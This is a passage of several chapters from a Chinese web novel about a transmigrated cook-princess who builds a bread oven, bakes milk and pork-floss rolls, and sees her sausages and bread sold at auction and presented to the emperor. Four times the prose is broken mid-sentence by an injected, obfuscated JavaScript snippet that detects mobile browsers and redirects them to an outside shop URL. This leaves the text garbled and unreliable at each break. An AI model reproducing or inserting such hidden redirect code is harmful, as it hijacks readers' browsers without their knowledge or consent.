今日当街卖烤肠，不等相熟的世家子来起哄，对面商铺的伙计看了也赶忙去禀了掌柜的。 这相挨着的，往老了说，都是十几年的老街坊了。 对门小东家卖吃食，合该去照顾一下，顺便打探一番。 他当即拉了抽屉，从里头摸出好几粒碎银。 而外头，就这么一小会儿的功夫，摊子前已经聚拢了好几个人。 冬日天寒，能出来走动的，那都是在家猫不了冬的老饕。 京城这般大，时不时总是会冒出个勾人食欲的摊子，比如前儿那花生羹，顺滑醇厚浓香软糯，肚里暖了起来再揣着手往这一溜达，这香气，便勾得人眼直直的。 一看，呦，还是几个公子爷。 “这肠，怎么卖？” “一……” 范文卓才要说话，绪宁赶忙是哈着腰上前了，“这肠，用的是新鲜的猪后腿肉，过程也费时费力，比寻常香肠不同，这价……” 不用等他报出价，铁锅上的香肠滋滋冒着油花，愈发勾人。 “嘿，还别说，今日它就是值一金，我也要尝一根。” 客人豪气，身上衣物不俗。大厨不用去看主子的眼色，也赶忙是用签子串了一根，恭恭敬敬递了过去。 价格不透明，围观的人还是看热闹的心态。 这老客草草吹了热气，便嚼了一口，如侯府家的奶娃娃一般，也是被烫着了。“呼……呼……好烫好烫……” 口中不时说着的话，也就“好烫”这个词。众人想等，可肚子的馋虫实在是等不了。 这位客人吃得实在是香。 “这肠，你就是卖我一两，我也是认的。这肉酱，不是一味打碎灌进来，确实费了一番功夫，吃起来才能这般弹牙劲道。” 他吃舒服了，还要再提出改进的意见，“这甜口的肠，稀罕。要是给妇孺吃，正正好，你家厨子心思巧，怎么就没再配一个酱出来，烤的时候划拉几刀，刷上酱料，又是甜口，又是辣酱……啧啧……” 他一描述，众人都跟着吞了吞口水。特别是范文卓和钱知礼，为了赚钱，他们甚至都没尝一根。 偏绪宁脑子转得快，将话接上：“是该调个酱。只是没来得及。今日原也不出摊，不过是这肠太香了，赶着摆出来和诸位共享，明日，还是这地，保准有不一样的酱。” “得嘞，我今儿也不问价了。” 这客人出手阔绰，随手就摸了粒银锭过去，“还有剩的，我便带根回去给小儿尝尝。” 绪宁说漂亮话还行，但没一眼估银价的本事，便侧身让钱知礼看看。 理当是还有剩的。 钱知礼一点头，掌着火候的大厨才敢动作——今日，他只是一个无情的烤肠厨子。 “我们也是头一日做生意，承蒙关照，只带一根，回头小郎君们打起来，反而是不美了。“ 范文卓爱交游，自然也认得他的身份，他老来得子，又都是男丁，当日宴请了不少亲朋。家里似乎也沾着些亲，管家都去送了份礼。 他示意厨子装了两根。那银子应该二两多，亏是亏不了了。 “好啊，原以为是你们胡闹着玩的，不想真认认真真做起了生意。这可比一些人强上不少，家里有钱花，书读不来，总也要找个事做做……” 不管何时，士农工商的排序总是不变的。商户地位于四民中最低，但是世家子来行商，又不是纯商户。 也难为了这位老大人，挑了好话来夸他们。 这么一激励，三人是一鼓作气，吆喝着把烤肠全部卖了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006716|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小厮将东西收进店里，和上回一样，范文卓和钱知礼没来得及数钱，拉了绪宁就要往城外赶去。 还是绪宁拉了二位兄长一把，将人请到楼上去说话。 * 经过绪家的好口才，范文卓和钱知礼才恍然，“原来京城还限制买肉啊……你也要是不说，还不知道呢……” 绪宁也不贪功，将崔大人的好意也说了出来。 谁知，二人是嘿嘿一笑，“无妨无妨，既然崔大人也知这烤肠摊子是郡主的，那嘿嘿……嘿嘿……” 绪宁：“……” 他挠挠头，有些费解：头好像有点痒，是不是崔大人的脑子长过来了？二位兄长在嘿嘿什么呢？ 作为第一个长出脑子的人，他便将限肉令和郡主的身体情况一股脑说出来，“限肉令我原本也知道，但崔大人特意同我说一声，便是这条法令在朝中也是相当引人注目。我们的生意才刚刚开始，可不能败在买肉上？回头家里受了弹劾，必定使出家法，不让我们出来了？到时候，白白辜负了崔三爷和郡主。” “对对对，你说的是……” 二人异口同声，又道，“那依贤弟妙计，我们该如何办？” 突然就成了“贤弟”，绪宁倒是不慌，“崔大人说了，只是不能在市集里大肆采买，但庄子是可以养的。各家都有庄子在城外，与京城相邻的州县，地价也比京城低，有些不好养在京郊的，招几个管事来问问，能否养在那儿。” 难得由他拿了一回主意，最后还要凑趣说几句，“郡主住梅花坞，地方大，总不能在那儿养几百个鸡鸭鹅吧？郡主家的照殿红都比京中人家的好，早早开了一朵呢……” 这下，三人总算是一齐嘿嘿傻笑起来。 可惜他们不知，萧鸣笙不单计划放几百个鸡，连养猪也考虑过。 午后，绪宁草草扒拉了一碗米饭，就赶着到梅花坞来。 这一趟，他赶了几马车的东西，一个人来的。 也是范家和钱家盯得紧，城里随便晃荡，出城那是万万不可能的。 这会儿萧鸣笙也是在练习箭术。本来不练也行，回头被萧家亲友，或是圣上问起，用久病的借口便能着眼睛过去。 可圣上与几位老臣都已看过，也金口玉言赐了弓。 便是不为自己，也不能堕了萧家的名声。 用小弓慢慢习惯，她已经换了两个靶子瞄准了。 “咻——” 又是一箭中靶，萧鸣笙甩了甩手臂，一转头便看到了嘿嘿—— 不是。 是奶娃娃的兄长，京城可真是小。 “公子怎么过来了？” “郡主，小弟来送东西。” 绪宁客气了一番，也不做废话，将写好的一张单子奉上，请她过目。 萧鸣笙展开一看，也稍稍吃惊。不想就这么一两个时辰的功夫，对方连创业企划书都做好了，他身上似乎还带着若有若无的烤肠味。 正想着，绪宁开始汇报工作了，“回城后，我和范兄钱兄将那肠都煎去卖了，特意找了个不起眼的小店，当街卖的，没被昔日同窗买去，拢共是一百两。” “嘶……” 萧鸣笙惊住，做事方法合理——也不怎合理！除了他们同窗，哪里来的冤大头？ 她仔细去看其中的盈余，当真是一百两，定价二十文。后面还带了说明：市价六文。 好家伙，足足翻了三倍有余。 这……即便是以定价卖的，那得卖五千根烤肠吧。 “我记得今日给小公子的香肠，似乎没这么多？” 这是将京城的猪，都现杀了？还是去收购了别家的东西，以次充好？ 65.牛奶面包卷 游手好闲三人组读书不靠谱，但是在行商这事上，脑子相当活泛。 “回郡主话，是二十根，绪安年纪小不懂事，又留了三根给他。余下十七根。可惜，要是有那三根，保不齐能多赚五百两。” 绪宁不无可惜，甚至盘算起明日该如何换个方式卖一卖。 “嘶……” 三根就多赚五百两——京城败家子真多啊! 萧鸣笙更是倒吸一口凉气，连那银子也没接，瞟着他呼出的白气，赶忙请他入内吃杯热茶。 绪宁没推辞，才踏入萧家，便看到院子有些凌乱。没用完的河沙，黏糊糊的黄土，不规整的石块和竹子。 袁侍卫的衣摆都沾着，在忙些什么？ 他上前去帮忙，才发现是灶房外又加了一个奇怪的东西，圆鼓鼓的，像几位大腹便便的叔父。 想到郡主的老家，绪宁又恍然，“京城里也有西北来的厨子，就是用这个来烤馕的吧？” 绪宁说了一半，又没完全对。他没崔明端那般善于体察心思，忧心说起西北风物会伤了郡主心神。 幸亏萧鸣笙也不是原身，只是淡笑道：“公子说对了，西北常常用这样的灶坑来烤馕……我便想，将开口改个方向，再做一块能封起来的门，或许就能烤一烤别的。” “我知道了，就像是窑炉，也是起一个大炉子，在下头烧火，将炉子烧热，就将瓷器放进去。”绪宁脑子转得相当快，一下子便接受了面包炉。 绪家兄弟也很会挑时间。 做面包炉，萧鸣笙本来也没多少把握。但看侯府小公子那圆嘟嘟的脸颊，勾起了她对面包的食欲，谁能拒绝一个松松软软的面包呢？ 她将草图粗略画了出来，阿草看后惊呼道：“馕坑，郡主你是想吃馕了啊？但是，御医说郡主的脾胃太弱了，得用粥来养。” “面包，和馕一样好吃，比包子馒头松软，就算是我吃不了，你们也可以吃。” “也能给嘿嘿们去城里卖。” …… 阿草这会儿就在角落里安安静静，对着吃着个金黄的大面包大快朵颐。 她是西北人，还是比较喜欢吃这些。 一整个大面包捧着啃，像是一只食物充足的越冬松鼠。 绪宁一晃眼，仿佛是看到家里的混世小魔王。 “吃面包吗？” “吃。” 这一问，原是阿草问郡主，不想是他回答，这下，便把她难住了。 不能丢郡主的脸，她抓着手里的面包，犹豫了会儿才起身。将剩下另外一个从炉子里拿了出来，还冒着热气。 “喏……”本来是给大哥留的，但这个嘿嘿能赚钱，还是分一个好的给他。 阿草有头疾，这事绪宁也是知道的，他也不是个讲究规矩的人——毕竟自己就没多少规矩。 “我出生那日，正是大填仓节，小弟又在小填仓日，家父一直纳闷家里都是武将，怎么投了两个小谷过来？嘿嘿……从前也不知为何，今日才知竟是我等的口福。” 填仓节，是象征五谷丰登的传统节日，有大小之分，小的在正月二十，大的是正月二十五。 萧鸣笙想着这节日的寓意，与崔兄喊过小公子的名字——绪安。 侯爷或许恨铁不成钢，但打了一辈子的仗，也就只有一个愿望：山河无恙，家国永安。 绪宁掂着它，轻飘飘的，再去看那鼓起的炉——果然不像敞口的馕坑。馕，他也吃过。刚出炉嘎嘣脆，但放久了，这玩意儿连下人都吃得勉强。 他年纪比绪安大不少，也要脸面，没着急吃，“不知此物何名？” “面包。”阿草狐疑盯着他，这说话声调怎么有点熟悉，像谁呢？ “面包……”绪宁念叨了几声，才开始动口，“失礼了。” “嘶……”这样慢吞吞，阿草终于想起来了，像崔大人。 绪宁满脸虔诚，终是对手中物下口。第一口，就被里头松软的口感和弹性惊艳到了，化身阿草夸夸模式：“郡主，这个面……面包，表面酥脆，但里头是软的，跟包子可太不一样了。” 他再仔细瞧了瞧，里头似乎和馒头一样，没有放东西，“它是甜的，要是像肉包子一样，里面也能放一些甜的豆子，不说城中妇孺了，连大老爷们都得好奇来吃一个。” 萧鸣笙含笑颔首，打趣道:“小公子能吃红豆么？下回他来，我做几个红豆面包。”这次是试验面包炉的保温程度和火候的控制情况，就做了普通牛奶面包卷。 入门级别的餐点，她还在纸上换算配比，幸亏阿草看不大懂，又去看外头的燃起的炊烟。刚刚郡主就是根据这烟来判断的。 殊不知，这面包炉能成，袁志是占了首功。萧鸣笙将草图给他时，他只是略略思索一番，“属下知道了。” “……” ——不是我还没开始铺垫，你知道什么呢？ 最后，萧鸣笙也知道了，中华美食源远流长。老祖宗连瓷器都能烧制出来，区区砌一个面包炉？ 果不其然，拿出先前便提取出来的黄油，开始预备做面包。 她从前闲着无事，曾自己提炼过黄油。 比起老祖宗的“醍醐灌顶”，黄油也是个入门级的东西。 用鲜奶提取，只有一个秘诀：不断搅拌。放入容器，用一根大小适中的棍子，不断搅拌，就能得到了水油分开的一层漂浮物，继续不断搅拌，就得到了白色脂肪层。 捞出，用干净的棉布挤出水分，这就是黄油。 照着从前做的食方：180克牛奶，也就等于三两六……1个鸡蛋，35克糖，3克盐，3g高糖干酵母粉，300克面包粉，25克无盐黄油，经过好一番换算，才艰难开启第一次试验。[1] 除了要解决黄油问题，酵母亦然。 绪宁的舌头，大抵和荀二郎有几分像——或是世家子总吃东西，一下就想明白了，“这面包，是用寒食浆发酵的吧？郡主所用配比，可真是精妙无双。” “公子谬赞了。” 萧鸣笙面上轻松，心内暗暗吐槽。寒食浆，就是将煮好的大米或者小米盛到瓮中，封坛发酵，过几日就能产生酸浆。在清明节前制作的酸浆滋味最好，便有寒食浆之称。 这酸浆发酵法，也是老祖宗留下的智慧。她复原过，但是不同的环境，不同的室温，甚至是不同人手上带着的菌群，都可能影响发酵结果。 幸亏，在杀鸡儆猴后，萧家有足够多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025087|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小米来慢慢发酵测算，加多少水，能比拟酵母的威力。 “可见，我这大谷真真是有口福。可惜了，崔大人公务繁忙，吃不着这好东西。” “……” 听得此言，萧鸣笙也从阿草那再拿了一块面包吃着。 那厢，崔明端在城里，实实在在打了个冷颤。陵安府分给少府的值房是南向的，冬日的午后，不比西晒的，总是会阴冷些。 阿藤在外奔走回来，接大人下值，趁着 这一会的功夫，说了个惊天事。 “今日，范公子他们几个人，用了郡主的香肠，当街竞价，一根二十文起卖。听说到最后一根，几个人险些打起来，最后以五十两成交。” 阿藤一面说，一面观察着大人的神色。 这等纨绔之事，大人原该是蹙眉，再叹息一声。不想竟露了几分笑。 嘶……当真是爱屋及乌么？ “这法子，是谁教的？”崔明端只问这一句，像是为了遮掩方才不合时宜的笑意，他自顾自补充道，“市集买卖，你情我愿。既是讲定了规则，便是这货物有过人之处……陵安府不管这些。” “是……”阿藤哈着腰，再将听来的怪词说出来，“似乎是侯府公子说的，什么饥饿什么？小人这脑子实在是闹不明白。不过那烤肠的滋味，比别家的香许多，好些看热闹的郎君不舍得，谁知只卖了十七根就不卖了。最后一个竞价失败的，悔得肠子都青了，豪气掏出一百两银票也没有，他加到二百两，还是没有。” 那位郎君喜爱吃食，不缺银钱又舍得去脸面，同人勾肩搭背，约好了明日一道来，二人一起总比旁人多个机会吧？ 借此，才得了一口。 肉质鲜嫩，弹牙，多汁。 或是知道这一口便值十两银子，仔细一咂摸，里头用的香料似乎都在口中，但又调和得极好，“这肠衣也好，没有腥膻味。这肠，值一百两！如无此物，此生终究不美。” “明日再来！” 由着他们哥俩一锤定音，没买到的人更是勾起了馋心，飘了满街的香气，都是白花花的银子，也不知被多少人追着嗅闻。 * 绪宁在梅花坞吃着了面包，当即有了新点子，“郡主明日身子若好些，能否制几个面包？小弟亲自来取，这好东西，定能再次惊艳众人。” 萧鸣笙知道他行动力强，似乎是个可靠的合作对象，便直言道：“我不大清楚外头的事，京城有限肉令，这小麦粉是否也限？山脚下的几亩薄田给了乡民去种地红薯，产量颇丰，就是不知小麦产量几何？京城的小麦粉，是自给自足，还是从别处供应？哪个州府最宜种小麦……” 绪宁怕忘了，特意写在纸上，回去便将这些问题一一告知范文卓和钱知礼。 于是乎，多年不读书的人，夕食在饭桌上，一本正经问起了农事，可把范老大人和钱尚书感动得热泪盈眶，“好小子，终于想开了要读书是吧？策论考农耕少一些，不过圣上重视百姓生计，春闱在即，难保不是试题。吃饭吃饭，吃完来书房，爹给你好好讲一讲……” 范文卓和钱知礼虽是在自家里，但是不约而同望天：贤弟，是不是出错了妙计？是现在就说出真相，还是等下去书房再说？ 66.肉松面包 白霜覆地，红日未升。 萧家面包炉的烟囱又吐了白烟，阿草激动走来走去，今日的味道，好像比前两日都香。 阿草要去抱柴火，袁志让她坐着烤火，自己出去了。 院门外，已经有早到的贵客。 崔明端来的时间，似乎是比从前几次更早了。 袁志开了门，他也没立即入内，反倒是寒暄了一句：“卯时未过半，这是在做什么？” “面包。主子前几日刚琢磨出来的点心。”袁志如实道。 崔明端来此，也是为了面包。 绪宁他们已在集市竞价两日，事不过三，已经有人检举到了陵安府衙。 这事，如崔明端最初的评判：陵安府不管这个。 是在范家的一个铺子前吆喝的，没占了别人地盘，价格是买卖双方商定好的，价高者得。铺子每个月是要向府衙缴纳税银，也没一月拖欠落下。 既是如此，他来，自然还是怕绪宁他们行事张扬，连累了她，想着提点一下绪宁。 萧鸣笙起身了，做完了面包又回去睡了个回笼觉。 阿草不想去喊郡主起来，卢妈妈也告罪道：“这几日郡主劳累……” 崔明端了然，他来的时辰，本就过早。能见她一面也好，否则，顺道见一见绪宁。 郡主没起身，但是该招待的，卢妈妈一样也没落下。 在炉子上煨的是红枣奶茶，郡主从前在西北不爱吃，如今病好些了，偏爱甜口的。 拘着阿草不能贪嘴，但多少都能匀一碗给崔大人暖身。 原本就是煮给一家人吃的，这大肚壶一半的牛乳茶都到了崔明端肚里。 绪宁到的时候，还是打着哈欠的。这几日，虽说没有从前被揪着衣领起来扎马步早，但这几年懒散惯了，一时没适应。 但看了萧家门口的马儿，当即是一激灵。 这不是崔家的马车么？ 这两日没做错什么吧？ 崔大人这么早来找郡主告状？ 他上下打量了自己，生怕是衣物上哪一点错了。 整理了衣襟，他战战兢兢入内。昨日郡主说了，已经将配比试了又试，约莫是能做一种更为绵密松软的面包给绪安吃。 他压住了心里的话：绪安那小子吃也吃不明白，这不是浪费了么？放市集里，转眼就能卖出几十两。 那烤肠的生意，好做，不过赚钱没面包快。 为此，今日他还特意带了好东西过来。 扛着几麻袋面粉的小厮，同主人一样，偷感很重的模样。 崔大人才一抬眼，那几人便撂了东西要跪下。 阿藤也在院中，瞧这架势，便去瞄了眼绪宁，谁知这主已经撩了衣袍就要跪—— 他一个侯府公子无缘无故对大人行跪拜大礼，传出去，御史言官能参大人好几本。 阿藤眼疾手快，上前将人扶住，又一路扶到椅子旁坐下。 “崔大人早……”前两日，尚且能打趣一两句，今日绪宁就跟老鼠见了猫一样，心里发虚。他别的本事没有，察言观色是一等一的，几时要发怒，几时要打人，分毫不差。 谁知，崔明端涵养功夫好，甚至主动招待起了客人，由他打开了话匣子，“这几日来回跑，辛苦了。” “不辛苦不辛苦，为郡主和大人做事，不辛苦……” 萧鸣笙来时，便听到了绪宁拍马屁的话。他能为崔大人做什么？ 她莫名其妙，崔明端则是莫名笑了笑，绪宁敏锐发现崔大人和他爹是不同的——爱听马屁。 这，他别的本事没有，拍马屁，那可是精通的。 于是乎，绪宁便为自己描金，“郡主高才，研制出绝妙配比，这独一份的面包，小弟除了将此物带去市集，也帮不上什么忙。这两日痛定思痛，招了铺子的掌柜厨子一问，才知制作糕点的小麦粉都大有讲究，今日带了一些过来，请郡主掌掌眼，不知是否能用上。” 灶上的事，崔明端不懂。 但是范老大人和礼部尚书连夜收拾家中逆子的事，相熟的人家藏不大住。 这次，是什么缘由，两家出奇一致，都说是读书不中用。 然而，不少人听过他们在竞价卖烤肠，都暗暗发笑——行商便行商，扯读书做甚？ 上朝时，连政敌的眼神都有些怜爱。 两个老大人又是一口气梗在心头：逆子真的问了农耕之事，事无巨细，有些连他们都答不出来——谁知，逆子拿着笔记得详细，耳边的声停了下来，还催促一句：“爹你继续说，我记着呢。” 他们借口上茶，缓和了思绪，才冷静下来，这些琐事好像与策论没甚关系——若硬要说，倒像是预备殿试。圣上偶尔会问些细碎。 然而，自家逆子是什么资质，两位老大人心里还是有数的。举人都考不上，还殿试呢？ 一番责骂，在所难免。 今日，崔明端便说了那些琐事，“京城的米面，只要份量不大，一般不做限制。” “多大为大？”绪宁老实发问。 “六口之家，一月用量在十五斗之内。” 崔明端下放眉州，处理过的公务，远比如今琐碎。 绪宁还在桌子上换算，萧鸣笙已轻咳一声。 “大人早，公子早。” 崔明端起身时，险些是将袖口落在牛乳茶里。 或是跟绪宁说的郑重其事，竟连她近前来的药香都不曾察觉。 萧鸣笙实则也没睡着，只是在小榻躺一躺，暖暖身，也养养精神。 面包炉里的肉松面包，还没烤好。头几日使用，暂且是摸清楚了炉子的脾气，先前试验的几块面团都烤得不错，以至于她有些怀疑萧家——是不是带了些特殊气运？ 自己会厨艺没错，但烘焙需要精确到克与度数。 成功固然令人欣喜，但失败能—— 滚蛋。 成功了不好么？自己干嘛要没苦硬吃呢？ 今日面包炉能烤出寻常款式的面包，明日她就敢一一复刻出来。 这不，每个人童年的记忆——肉松面包卷。小团子怎么能错过呢？ 时下是寒冬，揉面用烫种，能延缓老化。等绪宁送到城里给小团子，还是松软的。 用几乎同份量的开水和面粉，迅速搅拌揉匀——冬日冷却得快，也不担心烫到。放到屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038060|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外晾着，备用。 取适量面粉、蛋液、牛乳、糖和盐，揉到逐渐光滑、细腻的状态，加入黄油软化。继续揉至能拉出结实的透明薄膜。放在灶上发酵，这温度不至于太暖，也不会发酵不起来。 等再醒面、压扁、擀圆，用竹签戳出小洞继续发酵。 …… 一连番发酵，连阿草看了都念叨这个面，也太麻烦了。 好不容易发酵好，手指轻摁表面可以缓慢回弹。表面再刷蛋液，撒上香葱叶和白芝麻，余下的事，便全靠面包炉的发挥了。 来回烤了几次，这胚子总算是成了。 稍稍冷却后，撒上自制的肉松，借助擀面杖用油纸将面团卷起来，不急着撤走油纸，由着它定型。 崔大人今日也是有口福了。一条送了绪安，一条便是给他。 绪宁送上小麦粉，捧着食盒，屁颠颠回城去了。 萧鸣笙甚是不放心叮嘱一句：“先给小公子尝尝，若是好，明日再做也无妨。” 绪宁应得顺畅，萧鸣笙还是暗暗叹了口气。 “绪家兄弟，感情不错。”默默站了半晌的崔明端，终是开口，又借此请她回去。 今日，萧鸣笙也没想他会过来，只预备了四条肉松面包，只能先将阿草的份额挪给他。 全因他送的伤药。 绪宁不止是舌头灵，鼻子也是灵的。当即闻出伤药的味道，奉承了一句：“御医院里百金难求的春风慢，听说用一次，伤痕全消，郡主的伤明日便能愈合。” 百金难求？ 也不知是虚指，还是实在的，萧鸣笙忽而想起了崔大人特意叮嘱她一日三次用着。这不是胡闹么？不遵医嘱也罢，这么名贵的药膏，是这样胡乱用的么？ 难怪过了一夜，她手上的红痕瞬间全无，肤质似乎格外细嫩些。再次练习箭术，便又伤了一回。也说不清这药膏是好是坏了。 所以，崔大人才说要一日三次用着？ 眼下，北风瑟瑟，萧鸣笙满怀心事往回走，抱着温热的手炉，便说起了那肉松卷，“大人辛苦过来一趟，不如也带回去，有温碗在，放到午时下值，约莫还是松软的。” “多谢郡主——” “我想着，这面包用了好些肉松，也有葱叶，也不知合不合大人的胃口。若是荀家郎君……” “臣，爱吃葱。” “……哦。” 崔明端义正词严道。仿佛爱吃葱，是什么了不得的事一般。 萧鸣笙其实也明白，自己每每找补的话，其实都不太对。但是难得看清冷自持的郎君急眼，漫漫冬日，还有什么比这更能消寒？ 这一回，二人又一道走到院前。 照殿红在晨光里抖擞精神，绿意不减，可惜没再有花苞绽放。 崔明端亲自提着食盒，有意放慢步伐，他目光在那儿扫过。 萧鸣笙亦要找补一句：“小公子实在招人疼，折一朵花讨他数个笑脸，实在不亏。今日这肉松面包格外香甜，可惜他人不在眼前……” “郡主——” 崔明端将东西交给阿藤，再度回首，一个大侧身的动作，几乎是将紧跟在身侧在拢在怀中。 67.麋角解 山色如黛，鸟声尽绝。 崔明端未曾想她跟得如此近，兀自转身将人吓着了，他也是下意识伸手去护着扶着。 这一番动作，二人姿势亲密至极，跟着的阿草都被卢妈妈拉开了。 阿藤自然也小心翼翼提着食盒去马车放好。 崔明端扶了人站稳，原也该撤手，然而—— 他垂眸低叹，再度侧身站好，却见恼人的寒风又换了个方向吹来，吹得毛领应声倒地，像野地白草折了腰。 “明日要落雪，这两日天也格外阴寒。该好生保养。” 他叮嘱的，向来都是这些琐事。 萧鸣笙颔首称是，一时也找不到话回。 “听绪宁说，面包所用的小麦粉，有些奇特……你的封赏都是上等的小麦粉，除去供给宫里，便是亲王们。今日不凑巧，改日我都取一些来，让你瞧瞧。” 他也知萧家的茶叶都能教人置换，其它的未必就是好的。上回陛下来，或许也发现了。只是祭天大典，再闹出贪腐巨案来，来日史书留下的，便不是国泰民安。 萧鸣笙也点头称是，空让素日少言的人搜空了脑袋，才想起一桩女儿家们爱听的事来，“算算日子，御苑的麋鹿，也到了鹿角脱落时，这两日便会供往京城……到时臣去讨一个来给郡主玩。” “御苑？麋鹿？” “嗯，是在忠州临江那儿，有不少的麋鹿。” 鹿角脱落，养鹿人会捡起来，清洗干净后送到御医院入药。麋鹿角，萧鸣笙家里就有一个。 是一个朋友送，她为此战战兢兢——这玩意儿，刑不刑啊？她可是一个本本分分的厨子，不想吃橘子啊！ 捎鹿角来的，还是位熟客，一度让她怀疑是不是在钓鱼执法？近日店里没出现什么违法乱纪的事啊。 此时，她忽而想起来。自己穿越的那一天，平平无奇，唯独收了这么一个鹿角，关店，收拾好后躺在床上搜索鹿角刑不刑，就睡着了。 要是崔大人不说，她险些忘了这一茬。 莫不是，这鹿角已经同七星连珠一样加入了穿越触发条件，那可真是太刑了！ 这机缘，说来就来。若是崔大人送来了鹿角便能穿回去，她能在角落里给崔大人供个牌位，祝祷他长命百岁，名垂青史。她暗暗窃喜，也不忘收敛喜色，“御药房的东西，怕不是能随意给人玩——” 萧鸣笙才觉出不对来，又嗔道：“我的年纪，可比小公子大多了，还玩鹿角作甚？” “那臣便厚颜讨一个回来，在家放着玩。” 崔明端难得是起了促狭心。她是想要一个的，自己就是舍了面皮都要弄一个。 “哦……” 萧鸣笙垮了肩，挠着手炉的套子玩。好个崔家六郎，当真是不能同君子说客套话。 * 马车沿着山路，悠悠下山。车内的人亲自抱着食盒。 这一份，同蒲包肉一样，进了皇城。崔明端有块牌子，可以自由出入宫禁。 这是新皇登基后，给昔日伴读的荣宠。 虽说，君臣关系似乎不如从前。但崔明端一如往昔，没有传召，也用金牌入了宫。 朝会后，君臣二人如从前在王府时对坐，中间隔的，是一条用油纸包着的面包。 这一回，御厨终是不敢擅自做主，拆出来还做什么福禄寿，不要折了自个儿的脑袋才好。 阿藤将东西送过去，寸步不离跟着，也怕御厨坏了事。幸好，只是换了个更大更精致的温碗。 而今，御厨与御医都候着。 崔明端除去请安，也缄口不言。 年下没什么大事，天子兴致不错，“这东西香是香，倒像是哄孩子的。你巴巴送给朕，怕也讨不了好。” “陛下乃天子，天下有了奇珍，臣自然要进献给陛下品评。” “爱卿的意思，便是荣安不懂规矩了？” “郡主是太懂规矩了，故而才在身子有所好转时，亲自钻研出这道稀罕的点心。” 崔明端神色不挠，继续给萧鸣笙解释，“毕竟是新玩意儿，也不知是否合陛下口味。这两日，郡主不断改进发酵法子，终是得了此物。” 皇帝听后，也是一笑，示意御厨上前来。“既是荣安的孝心，便不能辜负了。正好，朕也有些饿了。” 御厨小心翼翼揭开了油纸，眼珠子不断盯着，可惜也瞧不出名堂。照着崔大人所示，用刀切成两寸长的小卷。 这下，露出了里头的肉松，毛茸喷香，香气极浓。如陛下所言，这点心，孩童会喜爱不已。 天子拿了筷子就要尝，没等内侍监劝，崔明端先是告罪一声：“为陛下身子着想，由臣先吃。” “爱卿亲自送来的，自然无虞，朕不疑你。” “正是臣送的，臣得陛下信任，更要身先士卒。” 再客套下去，这肉松面包便要失了风味。崔明端方才已经沾了天子的光，用香汤净过手，径直用手举着就咬了一口。 绵软，蓬松。 口感不似包子馒头，更像是天上的云。一朵洒满了肉松的云，虽然夹了浓郁的葱味。 蹙起的眉结，亦是让天子大乐。这一回，酣畅淋漓笑了一番。君臣当真是回到了从前时。 身为皇子伴读，崔明端明里暗里帮了不少，譬如吃食上，即便是不爱的葱，也照吃不误。 恰恰相反，天子是爱吃葱的。只是不曾露于人前。 “可见，这个……面包，是荣安一片孝心。” 皇帝也跟着尝了，即便是吃过天下奇珍，可也没哪一样如它一般口感。 多吃了两口，才将手放下。 “荣安送东西进来，倒是叫朕想起了一事，朕的皇儿，开蒙几年了，一直没将太傅定下。今儿一看，这不是有现成的么？” 陛下膝下皇子不多，拢共也就四人。除去还在襁褓中的，也就是二皇子。大皇子的太傅，德高望重，是两朝老臣。与之相比，崔明端实在是年轻。 资历亦不甚相配。 “微臣实在惶恐……实在担当不起教导皇子的重任，请陛下另择贤臣。” “其实，以老二的年纪，也为时尚早。但是老二聪明些，性子同他母亲一样，也纯粹些。朕打算让忠勇侯的小公子给他当伴读，太傅便由你暂领着。你若不放心，等老二十五了，朕再择一位老臣来教他政事。现如今，由你来教，已然绰绰有余。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049682|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 二皇子的生母，不是皇后。 不过，皇帝也不是长子，立储向来不看长幼。 崔明端心事重重出了宫，踩着脚凳上马车时，险些踩了个空，阿藤眼疾手快扶了一把，颇是担忧。 “我的……面包呢？” 大人冷不丁问了一声。 阿藤也犯迷糊，大人怎么忘了？“余下的面包，已由宫人送到了二皇子宫里。” 说是崔明端这老师送的见面礼。 “唉……”向来是喜怒不形于色的人，在车厢里重重一叹。 宫墙一高，像是连寒风也侵袭不了似的。 不比梅花坞，柴氏哆嗦搓了搓手指，等着锅里的猪肉块煮熟。 